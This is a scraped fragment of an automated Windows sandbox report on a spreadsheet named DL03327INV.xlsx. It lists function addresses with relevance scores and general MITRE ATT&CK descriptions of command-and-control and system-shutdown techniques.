C:\Users\user\AppData\Local\Temp\~DF8200AD3C92400B31.TMP

Windows Analysis Report
DL03327INV.xlsx

Function 036D0494 Relevance: 6.1, APIs: 4, Instructions: 84
libraryCOMMON

Function 036D0408 Relevance: 4.6, APIs: 3, Instructions: 139
filenetworkCOMMON

Function 036D0424 Relevance: 4.6, APIs: 3, Instructions: 130
filenetworkCOMMON

Function 036D04AE Relevance: 4.6, APIs: 3, Instructions: 69
COMMON

Function 036D04FF Relevance: 4.5, APIs: 3, Instructions: 37
filenetworkCOMMON

Function 036D052D Relevance: 3.0, APIs: 2, Instructions: 50
COMMON

Function 036D0518 Relevance: 3.0, APIs: 2, Instructions: 47
COMMON

Function 036D0552 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre